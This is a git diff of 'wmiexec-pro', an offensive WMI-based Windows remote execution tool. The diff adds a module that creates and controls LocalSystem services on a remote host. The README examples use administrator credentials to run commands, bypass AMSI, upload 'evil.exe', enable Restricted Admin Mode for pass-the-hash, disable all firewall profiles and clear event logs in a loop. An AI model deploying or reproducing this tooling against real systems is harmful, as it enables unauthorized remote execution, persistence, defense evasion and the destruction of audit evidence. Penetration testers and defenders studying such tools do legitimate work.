diff --git a/README.md b/README.md index 4793f4b..b47e910 100755 --- a/README.md +++ b/README.md @@ -78,19 +78,19 @@ Enable/disable amsi bypass: python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -disable Execute command: - python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" (slient) - python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -with-output (with output) - python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -with-output -save (with output and save output to file) - python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -clear (remove temporary class for command result storage) + python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" (Slient mode) + python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -with-output (With output) + python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -with-output -save (With output and save output to file) + python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -clear (Remove temporary class for command result storage) Filetransfer: python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB) - python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (download file over 512KB) - python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -clear + python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB) + python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -clear (Remove temporary class for file transfer) RDP: python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable (Auto configure firewall) - python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable-ram (enable Restricted Admin Mode for PTH) + python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable-ram (Enable Restricted Admin Mode for PTH) python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable-ram (Disable Restricted Admin Mode) @@ -103,8 +103,20 @@ Firewall: python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -dump (Dump all firewall rules) python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -rule-id (ID from search port) -rule-op [enable/disable/remove] (enable, disable, remove specify rule) python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile enable (Enable all firewall profiles) - python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile disable (disable all firewall profiles) + python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile disable (Disable all firewall profiles) +Services: + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class) + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action start -service-name "test" + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action stop -service-name "test" + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action disable -service-name "test" + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action auto-start -service-name "test" + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action manual-start -service-name "test" + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action getinfo -service-name "test" + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action delete -service-name "test" + python3 wmiexec-pro.py administrator:password@192.168.1.1 service -dump all-services.json + Eventlog: python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -risk-i-know (Looping cleaning eventlog) python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -retrive object-ID (Stop looping cleaning eventlog) @@ -151,12 +163,15 @@ Eventlog: - For enable/disable: Restricted Admin Mode: control registry key `DisableRestrictedAdmin` via `StdRegProv` class. - winrm module: - - For enable/disable: call `Start/StopSerivce()` method of `Win32_Service`. + - For enable/disable: invoke service module. - For firewall rules: use module `firewall.py` to configure firewall of winrm. - firewall module: - Abusing `MSFT_NetProtocolPortFilter`, `MSFT_NetFirewallRule`, `MSFT_NetFirewallProfile` classes. +- service module: + - Abusing `Win32_Service` classes. + - eventlog module: - Execute the vbs script file `ClearEventlog.vbs` without remove `event` and `consumer`. diff --git a/lib/modules/exec_command.py b/lib/modules/exec_command.py index f77f477..07258a5 100644 --- a/lib/modules/exec_command.py +++ b/lib/modules/exec_command.py @@ -21,7 +21,6 @@ def save_ToFile(self, hostname, content): with open("{}/{}".format(path, save_FileName), 'w') as f: f.write(content) print("[+] Save command result to: {}/{}".format(path, save_FileName)) - def exec_command_silent(self, command): executer = executeVBS_Toolkit(self.iWbemLevel1Login) diff --git a/lib/modules/firewall.py b/lib/modules/firewall.py index ceb23fe..ff0ea4d 100644 --- a/lib/modules/firewall.py +++ b/lib/modules/firewall.py @@ -24,7 +24,7 @@ def checkError(banner, resp): logging.info('%s - OK' % banner) def port_Searcher(self, port, returnID = False): - print("[+] Searching rule include the specified port...") + print("[+] Searching rule include the specified port: %s" %port) id_List = [] iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/StandardCimv2', NULL, NULL) self.iWbemLevel1Login.RemRelease() diff --git a/lib/modules/service_mgr.py b/lib/modules/service_mgr.py new file mode 100644 index 0000000..593f8c2 --- /dev/null +++ b/lib/modules/service_mgr.py @@ -0,0 +1,147 @@ +import logging +import json + +from impacket.dcerpc.v5.dtypes import NULL + +ERROR_MSG = { + 0:"The request was accepted.", + 1:"The request is not supported.", + 2:"The user did not have the necessary access.", + 3:"The service cannot be stopped because other services that are running are dependent on it.", + 4:"The requested control code is not valid, or it is unacceptable to the service.", + 5:"The requested control code cannot be sent to the service because the state of the service (State property of the Win32_BaseService class) is equal to 0, 1, or 2.", + 6:"The service has not been started.", + 7:"The service did not respond to the start request in a timely fashion.", + 8:"Unknown failure when starting the service.", + 9:"The directory path to the service executable file was not found.", + 10:"The service is already running.", + 11:"The database to add a new service is locked.", + 12:"A dependency this service relies on has been removed from the system.", + 13:"The service failed to find the service needed from a dependent service.", + 14:"The service has been disabled from the system.", + 15:"The service does not have the correct authentication to run on the system.", + 16:"This service is being removed from the system.", + 17:"The service has no execution thread.", + 18:"The service has circular dependencies when it starts.", + 19:"A service is running under the same name.", + 20:"The service name has invalid characters.", + 21:"Invalid parameters have been passed to the service.", + 22:"The account under which this service runs is either invalid or lacks the permissions to run the service.", + 23:"The service exists in the database of services available from the system.", + 24:"The service is currently paused in the system." +} + +class Service_Toolkit: + def __init__(self, iWbemLevel1Login): + self.iWbemLevel1Login = iWbemLevel1Login + + @staticmethod + def checkError(banner, resp): + call_status = resp.GetCallStatus(0) & 0xffffffff # interpret as unsigned + if call_status != 0: + from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS + try: + error_name = WBEMSTATUS.enumItems(call_status).name + except ValueError: + error_name = 'Unknown' + logging.error('%s - ERROR: %s (0x%08x)' % (banner, error_name, call_status)) + else: + logging.info('%s - OK' % banner) + + def create_Service(self, serviceName, displayName, binaryPath, technique): + iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self.iWbemLevel1Login.RemRelease() + Service_ClassObject,_ = iWbemServices.GetObject(technique) + # Format: Name, DisplayName, PathName, ServiceType, ErrorControl, StartMode, DesktopInteract, StartName, StartPassword, LoadOrderGroup, LoadOrderGroupDependencies, ServiceDependencies + resp = Service_ClassObject.Create(serviceName, displayName, r'%s'%binaryPath, 16, 0, "Automatic", 0, "LocalSystem", "", "System", "", "") + if resp.ReturnValue == 0: + print("[+] Service %s created!" %serviceName) + else: + print("[-] Return value: {}, reason: {}".format( + str(resp.ReturnValue), + ERROR_MSG[resp.ReturnValue] + )) + iWbemServices.RemRelease() + + def control_Service(self, action, serviceName, iWbemServices=None): + if iWbemServices is None: + iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self.iWbemLevel1Login.RemRelease() + try: + Service_ClassObject,_ = iWbemServices.GetObject('Win32_Service.Name="%s"' %serviceName) + except Exception as e: + if "WBEM_E_NOT_FOUND" in str(e): + print("[-] Service not found!") + else: + print("[-] Unknown error: %s" %str(e)) + else: + if action == "delete": + resp = Service_ClassObject.Delete() + elif action == "start": + resp = Service_ClassObject.StartService() + elif action == "stop": + resp = Service_ClassObject.StopService() + elif action == "disable": + resp = Service_ClassObject.ChangeStartMode("Disabled") + elif action == "auto-start": + resp = Service_ClassObject.ChangeStartMode("Automatic") + elif action == "manual-start": + resp = Service_ClassObject.ChangeStartMode("Manual") + elif action == "getinfo": + record = dict(Service_ClassObject.getProperties()) + print('[+] Service info: service name: "{}", display name: "{}", path: "{}", service type: "{}", start mode: "{}", service account: "{}", state: "{}", process id: "{}"'.format( + # ConsentUxUserSvc_6728c + record['Name']['value'], + record['DisplayName']['value'], + record['PathName']['value'], + record['ServiceType']['value'], + record['StartMode']['value'], + "" if record['StartName']['value'] is None else record['StartName']['value'], + record['State']['value'], + str(record['ProcessId']['value']) + )) + + try: + if resp.ReturnValue == 0 : + print("[+] Action done!") + else: + print("[-] Return value: {}, reason: {}".format( + str(resp.ReturnValue), + ERROR_MSG[resp.ReturnValue] + )) + except: + pass + + iWbemServices.RemRelease() + + def dump_Service(self, save_FileName, iWbemServices=None): + if iWbemServices is None: + iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self.iWbemLevel1Login.RemRelease() + iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT Name, DisplayName, PathName, ServiceType, StartMode, StartName, State, ProcessID FROM Win32_Service") + full_Results = {} + while True: + try: + tmp_dict = {} + firewall_PortClass = iEnumWbemClassObject.Next(0xffffffff,1)[0] + record = dict(firewall_PortClass.getProperties()) + tmp_dict['ServiceName'] = record['Name']['value'] + tmp_dict['DisplayName'] = record['DisplayName']['value'] + tmp_dict['PathName'] = record['PathName']['value'] + tmp_dict['ServiceType'] = record['ServiceType']['value'] + tmp_dict['StartMode'] = record['StartMode']['value'] + tmp_dict['ServiceAccount'] = "" if record['StartName']['value'] is None else record['StartName']['value'] + tmp_dict['State'] = record['State']['value'] + tmp_dict['ProcessId'] = str(record['ProcessId']['value']) + full_Results[tmp_dict['ServiceName']] = tmp_dict + except Exception as e: + if str(e).find('S_FALSE') < 0: + pass + else: + break + with open(save_FileName,'w') as f: f.write(json.dumps(full_Results, indent=4)) + print("[+] Whole the services info are dumped to %s"%save_FileName) + + iEnumWbemClassObject.RemRelease() + iWbemServices.RemRelease() + # Todo: modify moudles \ No newline at end of file diff --git a/lib/modules/winrm.py b/lib/modules/winrm.py index 2d26a63..ec3409f 100644 --- a/lib/modules/winrm.py +++ b/lib/modules/winrm.py @@ -1,5 +1,6 @@ import logging +from lib.modules.service_mgr import Service_Toolkit from lib.modules.firewall import Firewall_Toolkit from impacket.dcerpc.v5.dtypes import NULL @@ -8,35 +9,18 @@ def __init__(self, iWbemLevel1Login): self.iWbemLevel1Login = iWbemLevel1Login def WINRM_Wrapper(self, flag): - iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) - self.iWbemLevel1Login.RemRelease() - iWbemClassObject,_ = iWbemServices.GetObject("Win32_Service.Name=\"WinRM\"") + executer_Service = Service_Toolkit(self.iWbemLevel1Login) if flag == "enable": - iWbemClassObject.StartService() - self.configure_Firewall(flag) - elif flag == "disable": - iWbemClassObject.StopService() + print("[+] Enabling WINRM service and configure firewall.") + executer_Service.control_Service(action="start", serviceName="WINRM") self.configure_Firewall(flag) else: - print("[-] Wrong operation!") - iWbemServices.RemRelease() + print("[+] Disabling WINRM service and configure firewall.") + executer_Service.control_Service(action="stop", serviceName="WINRM") + self.configure_Firewall(flag) def configure_Firewall(self,flag): winrm_Firewall = Firewall_Toolkit(self.iWbemLevel1Login) id_List = winrm_Firewall.port_Searcher("5985", returnID=True) for i in id_List: winrm_Firewall.rule_Controller(i,flag) - - def query_WINRMResult(self): - iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) - self.iWbemLevel1Login.RemRelease() - iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT State FROM Win32_Service where Name=\"WinRM\"") - iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0] - result = dict(iWbemClassObject.getProperties()) - result = result['State']['value'] - - if result == "Running": - print("[+] WINRM enabled!") - else: - print("[+] WINRM disable!") - iWbemServices.RemRelease() \ No newline at end of file diff --git a/wmiexec-pro.py b/wmiexec-pro.py index 832c3cc..54a132b 100644 --- a/wmiexec-pro.py +++ b/wmiexec-pro.py @@ -1,11 +1,6 @@ from __future__ import division from __future__ import print_function -import struct import sys -import zlib -import base64 -import os -import cmd import argparse import time import logging @@ -17,6 +12,7 @@ from lib.modules.winrm import WINRM_Toolkit from lib.modules.firewall import Firewall_Toolkit from lib.modules.eventlog_fucker import eventlog_Toolkit +from lib.modules.service_mgr import Service_Toolkit from lib.methods.executeVBS import executeVBS_Toolkit from impacket.examples import logger from impacket.examples.utils import parse_target @@ -65,10 +61,9 @@ def run(self, addr): if self.__options.module == "exec-command": executer_ExecCommand = EXEC_COMMAND(iWbemLevel1Login) - - if self.__options.command not in ("", None) and self.__options.with_output == False: + if all([self.__options.command]) and self.__options.with_output == False: executer_ExecCommand.exec_command_silent(command=self.__options.command) - elif self.__options.command not in ("", None) and self.__options.with_output == True: + elif all([self.__options.command]) and self.__options.with_output == True: if self.__options.save == True: executer_ExecCommand.exec_command_WithOutput(command=self.__options.command, save_Result=True, hostname=addr) else: @@ -77,10 +72,10 @@ def run(self, addr): executer_ExecCommand.clear() else: print("[-] Wrong operation") - + if self.__options.module == "filetransfer": executer_Transfer = filetransfer_Toolkit(iWbemLevel1Login) - if self.__options.src_file not in ("", None) and self.__options.dest_file not in ("", None): + if all([self.__options.src_file and self.__options.dest_file]): if self.__options.upload == True: executer_Transfer.uploadFile(src_File=self.__options.src_file, dest_File=r'%s'%self.__options.dest_file) elif self.__options.download == True: @@ -114,12 +109,12 @@ def run(self, addr): if self.__options.module == "firewall": executer_Firewall = Firewall_Toolkit(iWbemLevel1Login) - if self.__options.search_port: + if all([self.__options.search_port]): executer_Firewall.port_Searcher(self.__options.search_port) elif self.__options.dump: executer_Firewall.dump_FirewallRules(self.__options.dump) - elif self.__options.rule_id and self.__options.rule_op: - executer_Firewall.rule_Controller(ID=self.__options.rule_id, flag=self.__options.rule_op) + elif all([self.__options.rule_id]) and self.__options.action: + executer_Firewall.rule_Controller(ID=self.__options.rule_id, flag=self.__options.action) elif self.__options.firewall_profile: executer_Firewall.FirewallProfile_Controller(self.__options.firewall_profile) else: @@ -133,19 +128,31 @@ def run(self, addr): executer_EventLog.retrieve_EventLog(self.__options.retrieve) else: print("[-] Wrong operation") - + + if self.__options.module == "service": + executer_Service = Service_Toolkit(iWbemLevel1Login) + if self.__options.action: + if self.__options.action == "create" and all([self.__options.service_name, self.__options.display_name, self.__options.bin_path]): + executer_Service.create_Service(self.__options.service_name, self.__options.display_name, self.__options.bin_path, self.__options._class) + elif self.__options.action not in ['create']: + executer_Service.control_Service(self.__options.action, self.__options.service_name) + elif self.__options.dump: + executer_Service.dump_Service(self.__options.dump) + else: + print("[-] Wrong operation") + if self.__options.module == "execute-vbs": executer_VBS = executeVBS_Toolkit(iWbemLevel1Login) - if self.__options.vbs != "" and self.__options.filter != "": + if all([self.__options.vbs and self.__options.filter]): executer_VBS.ExecuteVBS(vbs_file=self.__options.vbs, filer_Query=self.__options.filter) - elif self.__options.vbs != "" and self.__options.timer != "": + elif all([self.__options.vbs and self.__options.timer]): executer_VBS.ExecuteVBS(vbs_file=self.__options.vbs, timer=self.__options.timer) elif self.__options.remove: executer_VBS.remove_Event(self.__options.remove) else: print("[-] Wrong operation") - except (Exception, KeyboardInterrupt) as e: + except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() @@ -221,18 +228,29 @@ def run(self, addr): # firewall.py firewall_parser = subparsers.add_parser('firewall', help='Firewall abusing.') firewall_parser.add_argument('-search-port', action='store', metavar="port num", help='Search rules associate with the port.') - firewall_parser.add_argument('-dump', action='store', help='Dump all firewall rules to file as json type.') + firewall_parser.add_argument('-dump', action='store', metavar="FILENAME", help='Dump all firewall rules to file as json format.') firewall_parser.add_argument('-rule-id', action='store', metavar="ID", help='Specify firewall rule instance id to do operation in "-rule-op"') - firewall_parser.add_argument('-rule-op', action='store', default='disable', choices=['enable', 'disable', 'remove'], - help='Operation in firewall rule which you can control') + firewall_parser.add_argument('-action', action='store', default='disable', choices=['enable', 'disable', 'remove'], + help='Action of firewall rule which you specify.') firewall_parser.add_argument('-firewall-profile', action='store', choices=['enable','disable'], help='Use it on your own risk if you try to do this one.') - # Eventlog-fucker.py + # eventlog-fucker.py eventlog_parser = subparsers.add_parser('eventlog', help='Loopping cleanning eventlog.') eventlog_parser.add_argument('-risk-i-know', action='store_true', help='You know what will happen :)') eventlog_parser.add_argument('-retrieve', action='store', metavar="ID", help='Stop looping cleaning eventlog with the instance id.') + # service_mgr.py + service_MgrParser = subparsers.add_parser('service', help='Service manager') + service_MgrParser.add_argument('-action', action="store", choices=['create', 'delete', 'start', 'stop', 'disable', 'auto-start', 'manual-start', 'getinfo'], + help='Action you want to do.') + service_MgrParser.add_argument('-service-name', action='store', help='Specify service name.') + service_MgrParser.add_argument('-display-name', action='store', help='Specify service display name.') + service_MgrParser.add_argument('-bin-path', action='store', help='Specify binary path of service creation.') + service_MgrParser.add_argument('-class', dest='_class', action='store', choices=['Win32_Service', 'Win32_TerminalService', 'Win32_BaseService'], default='Win32_Service', + help='Alternative class of service object creation.') + service_MgrParser.add_argument('-dump', action='store', metavar="FILENAME", help='Dump all services to file as json format.') + # executeVBS.py execute_VBSParser = subparsers.add_parser('execute-vbs', help='Execute vbs file.') execute_VBSParser.add_argument('-vbs', action="store", required=True, help='VBS filename containing the script you want to run')